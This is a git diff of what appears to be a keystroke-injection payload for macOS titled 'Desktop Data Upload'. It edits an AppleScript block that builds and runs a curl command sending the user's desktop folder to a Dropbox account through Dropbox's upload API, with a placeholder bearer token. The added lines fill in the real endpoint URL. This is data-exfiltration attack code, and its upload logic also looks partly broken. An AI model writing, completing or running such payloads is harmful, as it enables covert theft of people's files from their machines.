diff --git a/Executions/Desktop Data Upload .txt b/Executions/Desktop Data Upload .txt index abb564e..0557717 100644 --- a/Executions/Desktop Data Upload .txt +++ b/Executions/Desktop Data Upload .txt @@ -5,14 +5,16 @@ REM Version 1.0 MacOs osascript -e 'tell application "Script Editor" - set desktopPath to POSIX path of (path to desktop folder) - set dropboxAPIPath to "Your API token Here" - set uploadScript to "curl -X POST 'URL of the Dropbox API endpoint' \ - -H 'Authorization: Bearer " & dropboxAPIPath & "' \ - -H 'Dropbox-API-Arg: {\"path\": \"/Desktop/$(basename \\\"" & desktopPath & "\\\"), \\\"mode\\\": \\\"overwrite\\\"}' \ - -H 'Content-Type: application/octet-stream' \ - --data-binary @\"" & desktopPath & "\"" - do shell script uploadScript + set desktopPath to POSIX path of (path to desktop folder) + set dropboxAPIPath to "Your API token Here" + set apiEndpointURL to "https://api.dropboxapi.com/2/files/upload" + set uploadScript to "curl -X POST \"" & apiEndpointURL & "\" " & ¬ + "-H \"Authorization: Bearer " & dropboxAPIPath & "\" " & ¬ + "-H \"Dropbox-API-Arg: {\\\"path\\\": \\\"/Desktop/$(basename " & desktopPath & "), \\\"mode\\\": \\\"overwrite\\\"}\" " & ¬ + "-H \"Content-Type: application/octet-stream\" " & ¬ + "-d @\"" & desktopPath & "\"" + do shell script uploadScript end tell' +